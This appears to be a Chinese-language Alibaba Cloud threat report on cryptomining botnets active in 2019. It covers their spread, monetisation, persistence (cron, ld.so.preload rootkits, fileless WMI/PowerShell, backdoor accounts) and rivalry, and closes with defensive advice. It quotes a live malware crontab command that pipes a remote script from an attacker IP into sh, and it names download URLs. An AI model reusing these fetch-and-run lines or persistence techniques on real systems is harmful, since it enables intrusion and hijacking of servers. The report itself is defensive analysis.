前言
比特币等虚拟货币在 2019 年迎来了久违的大幅上涨,从最低 3000 美元上涨至 7 月份的 14000 美元,涨幅达 300%,巨大的金钱诱惑使得更多的黑产团伙加入了恶意挖矿的行列。阿里云安全团队通过对云上僵尸网络家族的监控,发现恶意挖矿已成为黑产团伙主要的牟利方式。2019 年共监控到 58 个成规模的挖矿木马团伙(数据截止到 8 月底),以累积感染量定义木马活跃度,下图 / 表是活跃 TOP10 的木马家族及简介。本文尝试从宏观角度分析、总结挖矿木马常用技术及发展趋势,以期能够给企业安全防护带来启示。
核心观点
木马投放方式全面蠕虫化,多种漏洞组合攻击成为趋势,N-day 漏洞利用速度在加快
这种趋势无疑令人异常担忧,意味着挖矿木马的传播能力在大幅增强,变得无孔不入。一旦企业的信息系统存在任意可被利用的漏洞,那么企业内网将会快速沦陷,挖矿行为会抢占 CPU 资源,严重影响企业信息系统运行。这对企业的漏洞管理和安全防御能力有了更高、更快的要求。
木马持久化技术被成熟利用,rootkit、无文件技术成为趋势
挖矿木马入侵成功后必定希望能够长久稳定的挖掘出虚拟货币,其技术上使用 rootkit、无文件等技术实现长期、隐蔽运行。对于一般的运维人员,系统一旦中招后,顽固木马是难以清除的,这需要企业具备更专业的安全应急响应能力。
木马开始出现跨平台趋势
Golang 语言天生具备跨平台编译能力,这个特点方便黑产团伙在多平台间移植,新出现的恶意软件使用 GO 也成为了一种趋势。TOP10 中有 6 个是 2019 年爆发的挖矿木马,其中有 5 个是 GO 语言实现的,MinerGuard 和 kworkerds 已具备了 Linux/Windows 双平台传播的能力。
工欲善,利其器 - 攻击之术
全网漏洞扫描 / 投放 -> 蠕虫化投放
1、利用单一或多个 IP 攻击全网漏洞进行投放
这种投放方式较为原始,无横向传播能力,效率比较低下,且容易被防御拦截。在我们的监控中,使用这种方式的木马规模普遍较小。例如:8220Miner 固定使用多个国外 IP 进行持续攻击,会定期更换 IP,但更换频率较低。而 ddsMiner 通过 sqlserver 入侵,攻击载荷会下载名为 dds.exe 的 PE 文件(如:http://113[.]69[.]206[.]219:4523/dds.exe),该团伙每天至少使用 1 个新的 IP 进行全网攻击,攻击时间持续数小时,该 IP 也是当天的恶意文件托管站。
2、蠕虫化投放
蠕虫化的挖矿 botnet 具备攻击模块,扫描并感染网络上的其他服务器,使用这种方式进行传播会按照指数增长的速度扩张,且这种方式会使得溯源和防御变得更加困难。TOP10 中 2019 年爆发的几个挖矿 botnet 全部使用蠕虫化投放方式,他们都是在短时间内 (几天时间) 得到快速扩张跻身 TOP10。
单一漏洞利用 -> 组合漏洞横向传播
早期的挖矿木马使用固定漏洞在公网传播,传播速度和规模受限。而使用多种漏洞组合攻击的方式使得挖矿木马具备了内网横向传播的能力,攻击模块会集成通用的 WEB 服务漏洞、爆破、数据库漏洞等攻击方式。‘聪明’的挖矿木马作者更是使用不同的内外网攻击策略,进行更高效的传播。例如:Windows 平台下的 Bulehero 挖矿木马,在内网优先使用永恒之蓝漏洞、ipc$ 爆破、RDP 爆破进行传播,在公网则优先使用 Web 服务漏洞进行传播。Linux 平台下的 kerberods 挖矿木马,在内网优先使用本地 ssh key、ssh 爆破进行传播。在这种高效策略下,企业内网通常在几分钟内被全部入侵。
N-day 漏洞快速利用
互联网大规模存在且未被修复的通用漏洞往往成为挖矿僵尸网络争夺的 ’ 肥肉 ’,N-day 漏洞爆发后难以在短时间内得到有效修复,’ 嗅觉 ’ 灵敏的黑产团伙会很快纳入挖矿木马的武器库。据我们观察,N-day 漏洞留给运维人员进行修复的空窗期越来越短,如 Jboss 反序列化漏洞于 2017 年 5 月被发现,年底 JbossMiner 开始对其大规模利用。2018 年 12 月 ThinkPhp 远程代码执行漏洞爆发,十几天后被 BuleHero 团伙利用进行。2019 年 4 月 8 日 Confluence RCE 漏洞利用 POC 发布,4 月 10 日就 kererods 蠕虫就开始利用该漏洞大肆传播,中间只隔了短短两天。再次对云平台及用户的快速响应能力构成严峻考验。
通往财富之路 - 牟利之术
矿池配置方式:
挖矿木马植入开源挖矿程序进行挖矿,矿机程序启动时通过命令行传入挖矿参数,但是这种方式较为原始,释放出的木马无法修改配置参数。第二种方式使用配置文件下发,结合定时任务实现对挖矿参数的控制,这种使用方式较为常见。以上两种方式都存在易被检测的特点,有些黑产团伙会对开源挖矿程序进行二次开发,将矿机配置参数硬编码在恶意程序中,并进行加壳对抗检测,以达到隐蔽挖矿的目的。
挖矿程序命令行配置
通过配置文件:
MinerGuard 矿机配置文件截图!
挖矿软件硬编码配置
ddgs 硬编码的矿池及钱包地址
挖矿方式:公共矿池 -> 矿池代理
1、公共矿池方式
使用匿名的公共矿池是恶意挖矿最常见的方式,使用方法简单,但是由于需要配置独立的钱包地址,因此易被跟踪溯源,而且对 bot 挖矿无管理能力。
如下图是在公共矿池上查询 8220Miner 的钱包地址及算力,目前该地址挖掘到 15.5 个门罗币,可借此估算出该挖矿僵尸网络的规模。
2、矿池代理
有些挖矿僵尸网络会自己搭建矿池代理,通过代理可降低挖矿难度,也可根据收益随时切换高收益矿池、高收益矿币种,这种方式无法通过钱包地址进行跟踪。
下图是监控到 masscanMiner 使用了矿池代理进行挖矿,通过进程 cmdline 可知矿池开放在 121.42.151.137 的 28850 端口,这并非一公共矿池常用的端口,登陆账号也为默认账号。
其他变现方式:附带 DDos、Socks 代理
除了挖矿这种本职工作,有些黑产团伙会顺带通过其他方式进行变现,比如 DDos、代理等。如下图是 sicMiner 恶意样本会运行一个 python 脚本,该脚本是 github 上开源的 socks5 代理,代理运行在 7081 端口,该团伙可能是通过出售代理进行变现。
生存还是毁灭 - 持久化之术
挖矿木马入侵成功后需要长期驻留于目标操作系统,以达到长期稳定地产出虚拟货币,通常会使用各种技术对抗安全检测和运维人员的清除。
清除 / 卸载安全软件
卸载宿主机的安全防护软件是常规操作,由于挖矿的攻击行为多针对服务器,黑产团伙也特别针对云环境的安全软件精准对抗。如下是 kworderds 蠕虫在 windows、Linux 下卸载不同安全软件的行为。
kworkerds 关闭杀毒软件
kworkerds 挖矿蠕虫卸载安骑士等安全工具
rootkit 技术
1、通过定时任务 / 计划任务实现常驻
Linux 下的 crontab 定时任务是很多恶意软件常见的驻留方式,他们并不仅仅会把自己写入用户的 crontab,还会写入软件包的 crontab, 如 /etc/cron.d,这样使得自己更不容易被发现。而 Windows 下则通过计划任务、修改注册表实现类似的驻留方式。如下是 ddgs 蠕虫恶意进程行为通过 crondtab 启动。
ddgs 通过 CROND 定时任务启动恶意 shell:/bin/sh -c curl -fsSL http://218[.]248[.]40[.]228:9999/i.sh?6 | sh
2、动态链接库预加载型 rootkit
Linux 下的动态链接库预加载机制在加载其他常规系统库之前就会预先加载用户定义的动态链接库,如果自定义库的函数与系统库中找到的函数具有相同的名称,自定义动态链接库就会覆盖系统库中的函数。攻击者通过动态连接库预加载,实现对 libc 中诸如 readdir 等常用函数的 hook,当 ps、top 等 shell 指令尝试读取 /proc/ 目录获取进程信息时对恶意进行隐藏。
如下图是 8220miner 使用该技术劫持 linux 动态链接库配置文件 /etc/ld.so.preload。
无文件攻击技术
无文件攻击不需要将恶意软件落地到磁盘,因此难以被杀软查杀,具备更好的隐蔽性。在挖矿僵尸网络中通常使用各种工具 (比如 Windows 的 WMI 命令行工具 wmic.exe) 或者脚本编程语言 (如 PowerShell) 提供的 API 接口访问 WMI,来实现无文件攻击。如下是 TheHidden 使用 wmic、WannaMine 使用 powershell 进行无文件攻击。
TheHidden 使用 wmic 无文件攻击的代码片段
WannaMine 的恶意进程使用 powershell 隐藏、编码功能进行无文件攻击
文件名 / 路径混淆
除了对抗各种安全工具,还要对抗运维人员的手动排查,将文件名和路径进行混淆也是常用的手段。比如 ibus 会将恶意文件写入多个系统目录下,并且通过随机变更大小写等方式生成和隐藏目录下文件名类似的混淆文件名。
ibus 生成在系统目录下的混淆目录
ibus 生成混淆文件名
c&c 通信
由于恶意挖矿行为不需要对 bot 进行强控制,大部分的挖矿木马都不具备完备的 c &c 控制模块,他们通常使用配置文件结合定时任务,实现对 bot 的配置变更和版本更新。在 TOP10 中只有 ddgs 和 ibus 有完备的 c &c 控制功能。如 ddgs,它的 c &c 通信使用 uMsg 序列化,能够实现攻击指令下发、版本配置更新等功能,在今年 1 月份的更新中甚至开始使用 P2P 进行 c &c 控制 IP 的下发。
ddgs 反序列化后的 c &c 控制指令
ibus 的 c &c 控制模块的恶意代码
暗网
从 2018 年底开始挖矿木马开始频繁使用暗网进行恶意文件托管,由于其匿名通信的特点开始在恶意软件中逐渐流行。如下是 watchbog 蠕虫使用暗网地址下载恶意文件
watchbog 蠕虫使用暗网地址下载恶意文件。
文件类型伪装
为了防止被追踪溯源,黑客喜欢将恶意文件托管在公开的免费网站上,他们需要将恶意 shell、二进制文件伪装成图片以防止被检测。
将二进制 /shell 文件伪装成图片文件是常规操作
后门账号
除了常规驻留操作,我们监控到多个挖矿木马会在宿主机上留下后门账号,即使木马被清除掉,黑客也能通过后门账号再次入侵。
TheHidden 添加后门账号,账号名 admin,并对该账号进行了隐藏。
watchdog 添加后门 ssh key
人在江湖飘怎能不挨刀 - 资源竞争之术
除了和安全软件的对抗,挖矿僵尸网络还要面临同行的竞争,毕竟 CPU 资源是有限的,一机不容二 ’ 马 ’!
杀死竞争进程
这几乎是挖矿木马的常规操作,通过进程的指纹库判断其他挖矿进程,或者直接杀死 CPU 占用率高的进程。
kerberods 进行资源竞争的进程指纹库
修改防火墙
修改防火墙的 iptables,将存在漏洞的服务端口关闭防止其他挖矿木马入侵。或者关闭常见的矿池端口,阻断竞争对手的挖矿行为。
修改 iptables 配置进行资源竞争
修改 hosts
通过修改 /etc/hosts 将竞争对手的域名、常见矿池域名 sinkhole,也是一种资源竞争手段。我们也见到了对应的反制措施:判断 /etc/hosts 是否被修改过,并重写 /etc/hosts 进行覆盖。
将竞争对手的域名 sinkhole
kthrotldsPretender 的反制措施:重写 hosts
借助其他 botnet
除了以上常规的竞争手段外,借助其他僵尸网络进行传播也是一种高明的手段。systemdMiner 在今年 4 月份就曾 ’ 借鸡下蛋 ’,通过入侵 ddgs 的 c &c 中控主机进行快速扩张。
systemdMiner 利用 ddgs 的中控下发的 shell
防护建议
1. 企业需要对漏洞进行管理并及时修复,否则容易成为挖矿木马的受害者。
2. 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹 shell 这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。此外,云防火墙独有的虚拟补丁功能,能够帮助客户更灵活、更“无感”地阻断攻击。
3. 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。
本文作者:桑铎
作者:foxscheduler
原文链接
本文为云栖社区原创内容,未经允许不得转载。